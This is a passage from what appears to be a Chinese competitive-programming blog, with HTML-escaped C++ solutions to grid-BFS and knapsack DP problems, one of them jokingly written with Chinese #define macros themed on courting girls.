class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/////////////\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (StartX == TargX\u0026amp;\u0026amp;StartY == TargY) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[StartX][StartY][i]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(id[StartX][StartY][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.visited[id[StartX][StartY][i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.dis[id[StartX][StartY][i]] =\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epriceToMoveTo\u003c/span\u003e(EmptyX, EmptyY, StartX + dx[i], StartY + dy[i], StartX, StartY);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/////////////\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e Min = \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[TargX][TargY][i] \u0026amp;\u0026amp; instG.dis[id[TargX][TargY][i]] \u0026lt; Min)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Min = instG.dis[id[TargX][TargY][i]];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; (Min == \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e ? \u003cspan class=\"number\"\u003e-1\u003c/span\u003e : Min) \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e////////////\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"找啊找啊找GF\"\u003e找啊找啊找GF\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP1509\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e写过的最有意思的题解233333\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 我开始审视这个妹子,心中想到 how_sad = false;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那真是个悲伤的故事 how_sad = true;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 拿下这个妹子就多个妹子陪 (dp[j][k] \u0026lt; dp[j - money_cost[i]][k - rp_cost[i]] + 1)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 这个妹子比前面那个省事 (dp[j][k] == dp[j - money_cost[i]][k - rp_cost[i]] \\\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026amp;\u0026amp; time[j][k] \u0026gt; time[j - money_cost[i]][k - rp_cost[i]] + time_cost[i])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 如果 \u003cspan class=\"meta-keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 而且 \u0026amp;\u0026amp;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 或者 ||\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 我 (\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 的话 )\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 没钱没人品 j \u0026lt; money_cost[i] || k \u0026lt; rp_cost[i]\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 有钱而且有人品 (!how_sad)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那我就 )\u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 推倒她 dp[j][k] = dp[j - money_cost[i]][k - rp_cost[i]] + 1; \\\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e time[j][k] = time[j - money_cost[i]][k - rp_cost[i]] + time_cost[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 的说 \u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 如果推倒她并没有什么用 \u003cspan class=\"meta-keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那我管她呢 dp[j][k] = dp[j][k], time[j][k] = time[j][k];\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e MAX_GIRLS 101\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e money_cost[MAX_GIRLS], rp_cost[MAX_GIRLS], time_cost[MAX_GIRLS];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e my_money, my_rp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dp[MAX_GIRLS][MAX_GIRLS],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etime[MAX_GIRLS][MAX_GIRLS];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e girls; cin \u0026gt;\u0026gt; girls;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= girls; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; money_cost[i]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; rp_cost[i]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; time_cost[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; my_money \u0026gt;\u0026gt; my_rp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e how_sad;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= girls; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = my_money; j\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e; j--)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = my_rp; k \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 我开始审视这个妹子,心中想到\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 如果 我 没钱没人品 的话\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 那真是个悲伤的故事\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 如果 我 有钱而且有人品 而且 我\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 拿下这个妹子就多个妹子陪\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 或者 这个妹子比前面那个省事 的话\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 那我就 推倒她 的说\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 如果推倒她并没有什么用\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 那我管她呢\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; time[my_money][my_rp];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"拯救公主\"\u003e拯救公主\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: \u003ca href=\"http://noi.openjudge.cn/ch0205/7221/\"\u003ehttp://noi.openjudge.cn/ch0205/7221/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e带状态的bfs,变量命名鬼才\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cmath\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e Never 